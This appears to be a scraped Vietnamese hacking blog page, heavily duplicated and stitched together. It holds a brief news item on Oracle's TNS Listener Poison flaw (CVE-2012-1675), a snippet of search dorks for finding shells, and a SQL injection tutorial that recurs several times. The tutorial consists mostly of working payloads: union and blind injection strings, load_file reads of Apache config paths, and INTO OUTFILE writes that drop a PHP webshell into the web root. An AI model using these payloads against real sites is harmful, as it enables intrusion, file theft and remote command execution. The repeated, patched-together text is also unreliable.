Ngày 30/04 vừa qua, Oracle đã đưa ra thông báo đặc biệt hướng dẫn các cách khắc phục tạm thời (work-around) về lỗi bảo mật CVE-2012-1675 hay còn gọi là lỗi TNS Listener Poison Attack. Đây là một lỗi bảo mật cực kì nghiêm trọng cho phép các hacker có thể can thiệp từ xa vào luồng dữ liệu trao đổi giữa client và các máy chủ cơ sở dữ liệu Oracle mà không cần đến bất kì một cơ chế xác thực nào.
Trong thông báo này, Oracle chỉ đưa ra các phiên bản bị ảnh hưởng là 10gR2 (10.2.0.x), 11gR1 (11.1.0.x) và 11gR2 (11.2.0.x). Tuy nhiên theo Joxean Koret, người phát hiện ra lỗi bảo mật này thì lỗi này có thể khai thác được với các bản Oracle từ 8i trở đi.
Lỗi CVE-2012-1675 đã được Koret phát hiện ra từ năm 2008 và có thông báo gửi đến hãng Oracle. Trong bản vá bảo mật thường lệ hàng quí vào tháng 4/2012 (CPU-Apr-2012), Oracle đã thông báo lỗi bảo mật này đã được khắc phục cùng lời cảm ơn đến Koret. Ngay sau đó, Koret cũng đã công bố tài liệu về cách thức khai thác lỗi cùng bản PoC của mình trên bugtraq. Tuy nhiên, trong email trao đổi giữa Koret và đại diện của Oracle thì Koret mới “ngã ngửa”: Oracle sẽ chỉ đưa ra bản vá chính thức trong phiên bản chính thức kế tiếp của Oracle database (11gR3 hoặc 12g) vì bản thân Oracle cũng thừa nhận, việc khắc phục lỗi này đòi hỏi phải can thiệp rất sâu vào hệ thống của Oracle điều mà các bản CPU định kì không thể thực hiện được. Như vậy lỗi zero-day sau 4 năm phát hiện vẫn là đang là một lỗi zero-day.
Khuyến cáo từ HVA: các quản trị viên của Oracle database nên có kế hoạch thực hiện sớm nhất có thể việc triển khai các phương án tạm thời theo khuyến cáo của hãng.
Tham khảo:
[1] Oracle Security Alert for CVE-2012-1675
http://www.oracle.com/technetwork/topics/security/alert-cve-2012-1675-1608180.html
[2] Oracle Database new zero day exploit put users at risk
http://thehackernews...ay-exploit.html
Trong thông báo này, Oracle chỉ đưa ra các phiên bản bị ảnh hưởng là 10gR2 (10.2.0.x), 11gR1 (11.1.0.x) và 11gR2 (11.2.0.x). Tuy nhiên theo Joxean Koret, người phát hiện ra lỗi bảo mật này thì lỗi này có thể khai thác được với các bản Oracle từ 8i trở đi.
Lỗi CVE-2012-1675 đã được Koret phát hiện ra từ năm 2008 và có thông báo gửi đến hãng Oracle. Trong bản vá bảo mật thường lệ hàng quí vào tháng 4/2012 (CPU-Apr-2012), Oracle đã thông báo lỗi bảo mật này đã được khắc phục cùng lời cảm ơn đến Koret. Ngay sau đó, Koret cũng đã công bố tài liệu về cách thức khai thác lỗi cùng bản PoC của mình trên bugtraq. Tuy nhiên, trong email trao đổi giữa Koret và đại diện của Oracle thì Koret mới “ngã ngửa”: Oracle sẽ chỉ đưa ra bản vá chính thức trong phiên bản chính thức kế tiếp của Oracle database (11gR3 hoặc 12g) vì bản thân Oracle cũng thừa nhận, việc khắc phục lỗi này đòi hỏi phải can thiệp rất sâu vào hệ thống của Oracle điều mà các bản CPU định kì không thể thực hiện được. Như vậy lỗi zero-day sau 4 năm phát hiện vẫn là đang là một lỗi zero-day.
Khuyến cáo từ HVA: các quản trị viên của Oracle database nên có kế hoạch thực hiện sớm nhất có thể việc triển khai các phương án tạm thời theo khuyến cáo của hãng.
Tham khảo:
[1] Oracle Security Alert for CVE-2012-1675
http://www.oracle.com/technetwork/topics/security/alert-cve-2012-1675-1608180.html
[2] Oracle Database new zero day exploit put users at risk
http://thehackernews...ay-exploit.html
2012 Dorks & Shell
________________________ [+] ________________________
For Dorks ::
-hack -exploit -dork -honeypot -honeypage -googlehacking
For Shells ::
+rwx -honeypot -honeypage -"honey page" -googlehacking -dork -treat -topic
READ MORE »
For Dorks ::
-hack -exploit -dork -honeypot -honeypage -googlehacking
For Shells ::
+rwx -honeypot -honeypage -"honey page" -googlehacking -dork -treat -topic
READ MORE »
2012 Dorks & Shell
________________________ [+] ________________________
For Dorks ::
-hack -exploit -dork -honeypot -honeypage -googlehacking
For Shells ::
+rwx -honeypot -honeypage -"honey page" -googlehacking -dork -treat -topic
READ MORE »
For Dorks ::
-hack -exploit -dork -honeypot -honeypage -googlehacking
For Shells ::
+rwx -honeypot -honeypage -"honey page" -googlehacking -dork -treat -topic
READ MORE »
Kỹ thuật tấn công sử dụng dumpfile/outfile trong SQL Injection
Trong bài viết này tôi sẽ đề cập đến câu lệnh "into outfile", 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.
Chú ý: Tấn công một website mà chưa có sự đồng ý của chủ nhân là vi phạm pháp luật. Bài viết này chỉ mang tính nghiên cứu và học hỏi. Tôi khuyến khích mọi người nên tự cài đặt hệ thống trên máy của mình và thử nghiệm, không nên tấn công phá hoại các site trên thực tế - c0mm3nt 2009
1. Quyền FILE (FILE privilege)
Nếu chúng ta muốn đọc hay ghi các file thì MySQL user phải được cấp quyền FILE
Thử xem xét một số lệnh sau đây:
1' union select current_user,null/*
hoặc
1' union select user(),null/*
Các câu lệnh này có thể cung cấp thông tin về MySQL user hiện tại, dạng như:
Username@server
Chúng ta sẽ tiếp tục khai thác thông tin về user này trong phần sau
Hoặc bạn cũng có thể đoán tên user bằng Blind SQLi nếu như không union được. Các câu lệnh ví dụ:
1' and user() like 'root
1' and mid(user(),1,1)
1' and mid(user(),2,1)>'m
1' and ascii(substring(user(),1,1))>64
.....
Khi chúng ta đã biết username, ta có thể kiểm tra xem user này có quyền FILE hay không
Đầu tiên chúng ta sẽ cố gắng truy cập vào bảng mysql.user:
1' union select file_priv,null from mysql.user where user='username
Chú ý thay username ở câu lệnh trên bằng username mà các bạn vừa tìm được
Bạn cũng có thể kiểm tra quyền FILE trong bảng trên mà không cần thêm mệnh đề where, tuy nhiên tôi vẫn thêm nó vào vì đây là cách nhanh và dễ dàng nhất - khi chuyển sang Blind :
1' and mid((select file_priv from mysql.user where user='username'),1,1)='a
(đừng có thêm NULL ở đây, vì đây ko phải là union select )
Cách trên có thể áp dụng cho cả Mysql version 4.x và 5.x
Nếu MySQL là 5.x ta còn có thể xem quyền FILE ngay trong information_schema
0′ union select grantee,is_grantable FROM information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%
Với blind:
1′ and mid((select is_grantable from information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y
Nếu bạn không thể truy cập vào bảng mysql.user hoặc information_schema.user chúng ta cũng cứ thử bước tiếp thao sau đây. Tuy nhiên nếu bạn đoán rằng bạn không có quyền FILE thì cách khai thác sử dụng INTO OUTFILE sẽ không thực hiện được
2. Vấn đề về thư mục web
Khi chúng ta biết chắc rằng mysql user hiện tại có quyền FILE, chúng ta cần phải tìm cho được đường dẫn chính xác đến thư mục/file mà ta muốn ghi file
Trong hầu hết các trường hợp MySQL server được chạy cùng server với server web hosting vì thế ta có thể từ thư mục ghi file mặc định chuyển ra thư mục web bằng các dấu ../
Với Mysql ver 4, ta có thể tìm đường dẫn datadir bằng hiển thị lỗi của câu lệnh:
0′ UNION SELECT load_file(’a'),null/*
Trong mysql 5 thì có thể union select:
0′ UNION SELECT @@datadir,null/*
Thư mục mặc định để ghi file sẽ là datadir\databasename
Bạn có thể biết được tên databasename bằng câu lệnh
0′ UNION SELECT database(),null/*
Nếu may mắn, chúng ta có thể thấy các warning của các lệnh như mysql_result(), mysql_free_result(), mysql_fetch_row() hoặc các lệnh tương tự. Trong các warning này sẽ hiển thị đườn dẫn đến thư mục web và chúng ta dễ dàng xác định được thư mục để ghi file lên. Các warning này có dạng như
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/shop/shopping2/list1.html on line 80
để hiện thị warning này có thể thử câu lệnh 0′ AND 1=’0
Cách làm trên có hiệu quả đối với hầu hết mọi website, tuy nhiên nếu thông báo lỗi của mysql bị tắt thì bạn có thể cố gắng đoán thư mục chứa web bằng cách sử dụng lệnh LOAD_FILE() để load và đọc các file cấu hình. 1 số đường dẫn mặc định đến file cấu hình:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include
Cũng cần chú ý xem hệ điều hành của webserver là *nix hay win để mà đoán cho tốt
Thông thường thư mục gốc chứa web thường đặt ở:
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/
bạn có thể google để tìm thêm
Thông thường bạn có thể ghi files lên tất cả các thư mục mà Mysql server có quyền ghi lên, miễn là bạn có quyền FILE. Tuy nhiên Admin có thể giới hạn các thư mục có thể ghi được từ public. Xem thêm tại http://dev.mysql.com/doc/refman/5.1/...s-options.html
3. Tạo ra các file hữu dụng
Khi bạn đã chắc chắn có quyền FILE và xác định được thư mục để ghi file, bạn có thể tiến hành ghi bằng câu lệnh SQL
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
Hoặc là ghi bất cứ dữ liệu gì, khi ta không biết tên bảng và cột:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt
Nếu muốn bỏ các ký tự splitting trong dữ liệu, ta có thể sử dụng INTO DUMPFILE thay vì INTO OUTFILE
Cũng có thể kết hợp giữa load_file() để đọc các file trên server
0′ AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…
Trong một số trường hợp ta cần sử dụng hex và unhex:
0′ AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…
Hoặc bạn có thể ghi bất cứ thứ j vào file, như là webshell chẳng hạn
0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php
Đây là 1 số vì dụ:
// PHP SHELL
<? system($_GET['c']); ?>
hoặc passthru nếu muốn
// webserver info
<? phpinfo(); ?>
// SQL QUERY
<? ... $result = mysql_query($_GET['query']); … ?>
Cuối cùng, 1 số chú ý về kiểu khai thác này:
-Không thể overwrite file với câu lệnh này
-INTO OUTFILE phải là mệnh đề cuối cùng trong câu truy vấn
-Tôi không biết cách nào để mã hóa FILENAME trong INTO OUTFILE('FILENAME') chặn ' thì không khai thác được, biết cách khai thác vui lòng PM
-có thể mã hóa code bạn muốn ghi vào file bằng lệnh char()Trong bài viết này tôi sẽ đề cập đến câu lệnh "into outfile", 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.
(Sưu tầm)
Chú ý: Tấn công một website mà chưa có sự đồng ý của chủ nhân là vi phạm pháp luật. Bài viết này chỉ mang tính nghiên cứu và học hỏi. Tôi khuyến khích mọi người nên tự cài đặt hệ thống trên máy của mình và thử nghiệm, không nên tấn công phá hoại các site trên thực tế - c0mm3nt 2009
1. Quyền FILE (FILE privilege)
Nếu chúng ta muốn đọc hay ghi các file thì MySQL user phải được cấp quyền FILE
Thử xem xét một số lệnh sau đây:
1' union select current_user,null/*
hoặc
1' union select user(),null/*
Các câu lệnh này có thể cung cấp thông tin về MySQL user hiện tại, dạng như:
Username@server
Chúng ta sẽ tiếp tục khai thác thông tin về user này trong phần sau
Hoặc bạn cũng có thể đoán tên user bằng Blind SQLi nếu như không union được. Các câu lệnh ví dụ:
1' and user() like 'root
1' and mid(user(),1,1)
1' and mid(user(),2,1)>'m
1' and ascii(substring(user(),1,1))>64
.....
Khi chúng ta đã biết username, ta có thể kiểm tra xem user này có quyền FILE hay không
Đầu tiên chúng ta sẽ cố gắng truy cập vào bảng mysql.user:
1' union select file_priv,null from mysql.user where user='username
Chú ý thay username ở câu lệnh trên bằng username mà các bạn vừa tìm được
Bạn cũng có thể kiểm tra quyền FILE trong bảng trên mà không cần thêm mệnh đề where, tuy nhiên tôi vẫn thêm nó vào vì đây là cách nhanh và dễ dàng nhất - khi chuyển sang Blind :
1' and mid((select file_priv from mysql.user where user='username'),1,1)='a
(đừng có thêm NULL ở đây, vì đây ko phải là union select )
Cách trên có thể áp dụng cho cả Mysql version 4.x và 5.x
Nếu MySQL là 5.x ta còn có thể xem quyền FILE ngay trong information_schema
0′ union select grantee,is_grantable FROM information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%
Với blind:
1′ and mid((select is_grantable from information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y
Nếu bạn không thể truy cập vào bảng mysql.user hoặc information_schema.user chúng ta cũng cứ thử bước tiếp thao sau đây. Tuy nhiên nếu bạn đoán rằng bạn không có quyền FILE thì cách khai thác sử dụng INTO OUTFILE sẽ không thực hiện được
2. Vấn đề về thư mục web
Khi chúng ta biết chắc rằng mysql user hiện tại có quyền FILE, chúng ta cần phải tìm cho được đường dẫn chính xác đến thư mục/file mà ta muốn ghi file
Trong hầu hết các trường hợp MySQL server được chạy cùng server với server web hosting vì thế ta có thể từ thư mục ghi file mặc định chuyển ra thư mục web bằng các dấu ../
Với Mysql ver 4, ta có thể tìm đường dẫn datadir bằng hiển thị lỗi của câu lệnh:
0′ UNION SELECT load_file(’a'),null/*
Trong mysql 5 thì có thể union select:
0′ UNION SELECT @@datadir,null/*
Thư mục mặc định để ghi file sẽ là datadir\databasename
Bạn có thể biết được tên databasename bằng câu lệnh
0′ UNION SELECT database(),null/*
Nếu may mắn, chúng ta có thể thấy các warning của các lệnh như mysql_result(), mysql_free_result(), mysql_fetch_row() hoặc các lệnh tương tự. Trong các warning này sẽ hiển thị đườn dẫn đến thư mục web và chúng ta dễ dàng xác định được thư mục để ghi file lên. Các warning này có dạng như
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/shop/shopping2/list1.html on line 80
để hiện thị warning này có thể thử câu lệnh 0′ AND 1=’0
Cách làm trên có hiệu quả đối với hầu hết mọi website, tuy nhiên nếu thông báo lỗi của mysql bị tắt thì bạn có thể cố gắng đoán thư mục chứa web bằng cách sử dụng lệnh LOAD_FILE() để load và đọc các file cấu hình. 1 số đường dẫn mặc định đến file cấu hình:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include
Cũng cần chú ý xem hệ điều hành của webserver là *nix hay win để mà đoán cho tốt
Thông thường thư mục gốc chứa web thường đặt ở:
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/
bạn có thể google để tìm thêm
Thông thường bạn có thể ghi files lên tất cả các thư mục mà Mysql server có quyền ghi lên, miễn là bạn có quyền FILE. Tuy nhiên Admin có thể giới hạn các thư mục có thể ghi được từ public. Xem thêm tại http://dev.mysql.com/doc/refman/5.1/...s-options.html
3. Tạo ra các file hữu dụng
Khi bạn đã chắc chắn có quyền FILE và xác định được thư mục để ghi file, bạn có thể tiến hành ghi bằng câu lệnh SQL
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
Hoặc là ghi bất cứ dữ liệu gì, khi ta không biết tên bảng và cột:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt
Nếu muốn bỏ các ký tự splitting trong dữ liệu, ta có thể sử dụng INTO DUMPFILE thay vì INTO OUTFILE
Cũng có thể kết hợp giữa load_file() để đọc các file trên server
0′ AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…
Trong một số trường hợp ta cần sử dụng hex và unhex:
0′ AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…
Hoặc bạn có thể ghi bất cứ thứ j vào file, như là webshell chẳng hạn
0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php
Đây là 1 số vì dụ:
// PHP SHELL
<? system($_GET['c']); ?>
hoặc passthru nếu muốn
// webserver info
<? phpinfo(); ?>
// SQL QUERY
<? ... $result = mysql_query($_GET['query']); … ?>
Cuối cùng, 1 số chú ý về kiểu khai thác này:
-Không thể overwrite file với câu lệnh này
-INTO OUTFILE phải là mệnh đề cuối cùng trong câu truy vấn
-Tôi không biết cách nào để mã hóa FILENAME trong INTO OUTFILE('FILENAME') chặn ' thì không khai thác được, biết cách khai thác vui lòng PM
-có thể mã hóa code bạn muốn ghi vào file bằng lệnh char()Trong bài viết này tôi sẽ đề cập đến câu lệnh "into outfile", 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.
(Sưu tầm)
Kỹ thuật tấn công sử dụng dumpfile/outfile trong SQL Injection
Trong bài viết này tôi sẽ đề cập đến câu lệnh "into outfile", 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.
Chú ý: Tấn công một website mà chưa có sự đồng ý của chủ nhân là vi phạm pháp luật. Bài viết này chỉ mang tính nghiên cứu và học hỏi. Tôi khuyến khích mọi người nên tự cài đặt hệ thống trên máy của mình và thử nghiệm, không nên tấn công phá hoại các site trên thực tế - c0mm3nt 2009
1. Quyền FILE (FILE privilege)
Nếu chúng ta muốn đọc hay ghi các file thì MySQL user phải được cấp quyền FILE
Thử xem xét một số lệnh sau đây:
1' union select current_user,null/*
hoặc
1' union select user(),null/*
Các câu lệnh này có thể cung cấp thông tin về MySQL user hiện tại, dạng như:
Username@server
Chúng ta sẽ tiếp tục khai thác thông tin về user này trong phần sau
Hoặc bạn cũng có thể đoán tên user bằng Blind SQLi nếu như không union được. Các câu lệnh ví dụ:
1' and user() like 'root
1' and mid(user(),1,1)
1' and mid(user(),2,1)>'m
1' and ascii(substring(user(),1,1))>64
.....
Khi chúng ta đã biết username, ta có thể kiểm tra xem user này có quyền FILE hay không
Đầu tiên chúng ta sẽ cố gắng truy cập vào bảng mysql.user:
1' union select file_priv,null from mysql.user where user='username
Chú ý thay username ở câu lệnh trên bằng username mà các bạn vừa tìm được
Bạn cũng có thể kiểm tra quyền FILE trong bảng trên mà không cần thêm mệnh đề where, tuy nhiên tôi vẫn thêm nó vào vì đây là cách nhanh và dễ dàng nhất - khi chuyển sang Blind :
1' and mid((select file_priv from mysql.user where user='username'),1,1)='a
(đừng có thêm NULL ở đây, vì đây ko phải là union select )
Cách trên có thể áp dụng cho cả Mysql version 4.x và 5.x
Nếu MySQL là 5.x ta còn có thể xem quyền FILE ngay trong information_schema
0′ union select grantee,is_grantable FROM information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%
Với blind:
1′ and mid((select is_grantable from information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y
Nếu bạn không thể truy cập vào bảng mysql.user hoặc information_schema.user chúng ta cũng cứ thử bước tiếp thao sau đây. Tuy nhiên nếu bạn đoán rằng bạn không có quyền FILE thì cách khai thác sử dụng INTO OUTFILE sẽ không thực hiện được
2. Vấn đề về thư mục web
Khi chúng ta biết chắc rằng mysql user hiện tại có quyền FILE, chúng ta cần phải tìm cho được đường dẫn chính xác đến thư mục/file mà ta muốn ghi file
Trong hầu hết các trường hợp MySQL server được chạy cùng server với server web hosting vì thế ta có thể từ thư mục ghi file mặc định chuyển ra thư mục web bằng các dấu ../
Với Mysql ver 4, ta có thể tìm đường dẫn datadir bằng hiển thị lỗi của câu lệnh:
0′ UNION SELECT load_file(’a'),null/*
Trong mysql 5 thì có thể union select:
0′ UNION SELECT @@datadir,null/*
Thư mục mặc định để ghi file sẽ là datadir\databasename
Bạn có thể biết được tên databasename bằng câu lệnh
0′ UNION SELECT database(),null/*
Nếu may mắn, chúng ta có thể thấy các warning của các lệnh như mysql_result(), mysql_free_result(), mysql_fetch_row() hoặc các lệnh tương tự. Trong các warning này sẽ hiển thị đườn dẫn đến thư mục web và chúng ta dễ dàng xác định được thư mục để ghi file lên. Các warning này có dạng như
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/shop/shopping2/list1.html on line 80
để hiện thị warning này có thể thử câu lệnh 0′ AND 1=’0
Cách làm trên có hiệu quả đối với hầu hết mọi website, tuy nhiên nếu thông báo lỗi của mysql bị tắt thì bạn có thể cố gắng đoán thư mục chứa web bằng cách sử dụng lệnh LOAD_FILE() để load và đọc các file cấu hình. 1 số đường dẫn mặc định đến file cấu hình:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include
Cũng cần chú ý xem hệ điều hành của webserver là *nix hay win để mà đoán cho tốt
Thông thường thư mục gốc chứa web thường đặt ở:
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/
bạn có thể google để tìm thêm
Thông thường bạn có thể ghi files lên tất cả các thư mục mà Mysql server có quyền ghi lên, miễn là bạn có quyền FILE. Tuy nhiên Admin có thể giới hạn các thư mục có thể ghi được từ public. Xem thêm tại http://dev.mysql.com/doc/refman/5.1/...s-options.html
3. Tạo ra các file hữu dụng
Khi bạn đã chắc chắn có quyền FILE và xác định được thư mục để ghi file, bạn có thể tiến hành ghi bằng câu lệnh SQL
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
Hoặc là ghi bất cứ dữ liệu gì, khi ta không biết tên bảng và cột:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt
Nếu muốn bỏ các ký tự splitting trong dữ liệu, ta có thể sử dụng INTO DUMPFILE thay vì INTO OUTFILE
Cũng có thể kết hợp giữa load_file() để đọc các file trên server
0′ AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…
Trong một số trường hợp ta cần sử dụng hex và unhex:
0′ AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…
Hoặc bạn có thể ghi bất cứ thứ j vào file, như là webshell chẳng hạn
0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php
Đây là 1 số vì dụ:
// PHP SHELL
<? system($_GET['c']); ?>
hoặc passthru nếu muốn
// webserver info
<? phpinfo(); ?>
// SQL QUERY
<? ... $result = mysql_query($_GET['query']); … ?>
Cuối cùng, 1 số chú ý về kiểu khai thác này:
-Không thể overwrite file với câu lệnh này
-INTO OUTFILE phải là mệnh đề cuối cùng trong câu truy vấn
-Tôi không biết cách nào để mã hóa FILENAME trong INTO OUTFILE('FILENAME') chặn ' thì không khai thác được, biết cách khai thác vui lòng PM
-có thể mã hóa code bạn muốn ghi vào file bằng lệnh char()Trong bài viết này tôi sẽ đề cập đến câu lệnh "into outfile", 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.
(Sưu tầm)
Chú ý: Tấn công một website mà chưa có sự đồng ý của chủ nhân là vi phạm pháp luật. Bài viết này chỉ mang tính nghiên cứu và học hỏi. Tôi khuyến khích mọi người nên tự cài đặt hệ thống trên máy của mình và thử nghiệm, không nên tấn công phá hoại các site trên thực tế - c0mm3nt 2009
1. Quyền FILE (FILE privilege)
Nếu chúng ta muốn đọc hay ghi các file thì MySQL user phải được cấp quyền FILE
Thử xem xét một số lệnh sau đây:
1' union select current_user,null/*
hoặc
1' union select user(),null/*
Các câu lệnh này có thể cung cấp thông tin về MySQL user hiện tại, dạng như:
Username@server
Chúng ta sẽ tiếp tục khai thác thông tin về user này trong phần sau
Hoặc bạn cũng có thể đoán tên user bằng Blind SQLi nếu như không union được. Các câu lệnh ví dụ:
1' and user() like 'root
1' and mid(user(),1,1)
1' and mid(user(),2,1)>'m
1' and ascii(substring(user(),1,1))>64
.....
Khi chúng ta đã biết username, ta có thể kiểm tra xem user này có quyền FILE hay không
Đầu tiên chúng ta sẽ cố gắng truy cập vào bảng mysql.user:
1' union select file_priv,null from mysql.user where user='username
Chú ý thay username ở câu lệnh trên bằng username mà các bạn vừa tìm được
Bạn cũng có thể kiểm tra quyền FILE trong bảng trên mà không cần thêm mệnh đề where, tuy nhiên tôi vẫn thêm nó vào vì đây là cách nhanh và dễ dàng nhất - khi chuyển sang Blind :
1' and mid((select file_priv from mysql.user where user='username'),1,1)='a
(đừng có thêm NULL ở đây, vì đây ko phải là union select )
Cách trên có thể áp dụng cho cả Mysql version 4.x và 5.x
Nếu MySQL là 5.x ta còn có thể xem quyền FILE ngay trong information_schema
0′ union select grantee,is_grantable FROM information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%
Với blind:
1′ and mid((select is_grantable from information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y
Nếu bạn không thể truy cập vào bảng mysql.user hoặc information_schema.user chúng ta cũng cứ thử bước tiếp thao sau đây. Tuy nhiên nếu bạn đoán rằng bạn không có quyền FILE thì cách khai thác sử dụng INTO OUTFILE sẽ không thực hiện được
2. Vấn đề về thư mục web
Khi chúng ta biết chắc rằng mysql user hiện tại có quyền FILE, chúng ta cần phải tìm cho được đường dẫn chính xác đến thư mục/file mà ta muốn ghi file
Trong hầu hết các trường hợp MySQL server được chạy cùng server với server web hosting vì thế ta có thể từ thư mục ghi file mặc định chuyển ra thư mục web bằng các dấu ../
Với Mysql ver 4, ta có thể tìm đường dẫn datadir bằng hiển thị lỗi của câu lệnh:
0′ UNION SELECT load_file(’a'),null/*
Trong mysql 5 thì có thể union select:
0′ UNION SELECT @@datadir,null/*
Thư mục mặc định để ghi file sẽ là datadir\databasename
Bạn có thể biết được tên databasename bằng câu lệnh
0′ UNION SELECT database(),null/*
Nếu may mắn, chúng ta có thể thấy các warning của các lệnh như mysql_result(), mysql_free_result(), mysql_fetch_row() hoặc các lệnh tương tự. Trong các warning này sẽ hiển thị đườn dẫn đến thư mục web và chúng ta dễ dàng xác định được thư mục để ghi file lên. Các warning này có dạng như
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/shop/shopping2/list1.html on line 80
để hiện thị warning này có thể thử câu lệnh 0′ AND 1=’0
Cách làm trên có hiệu quả đối với hầu hết mọi website, tuy nhiên nếu thông báo lỗi của mysql bị tắt thì bạn có thể cố gắng đoán thư mục chứa web bằng cách sử dụng lệnh LOAD_FILE() để load và đọc các file cấu hình. 1 số đường dẫn mặc định đến file cấu hình:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include
Cũng cần chú ý xem hệ điều hành của webserver là *nix hay win để mà đoán cho tốt
Thông thường thư mục gốc chứa web thường đặt ở:
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/
bạn có thể google để tìm thêm
Thông thường bạn có thể ghi files lên tất cả các thư mục mà Mysql server có quyền ghi lên, miễn là bạn có quyền FILE. Tuy nhiên Admin có thể giới hạn các thư mục có thể ghi được từ public. Xem thêm tại http://dev.mysql.com/doc/refman/5.1/...s-options.html
3. Tạo ra các file hữu dụng
Khi bạn đã chắc chắn có quyền FILE và xác định được thư mục để ghi file, bạn có thể tiến hành ghi bằng câu lệnh SQL
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
Hoặc là ghi bất cứ dữ liệu gì, khi ta không biết tên bảng và cột:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt
Nếu muốn bỏ các ký tự splitting trong dữ liệu, ta có thể sử dụng INTO DUMPFILE thay vì INTO OUTFILE
Cũng có thể kết hợp giữa load_file() để đọc các file trên server
0′ AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…
Trong một số trường hợp ta cần sử dụng hex và unhex:
0′ AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…
Hoặc bạn có thể ghi bất cứ thứ j vào file, như là webshell chẳng hạn
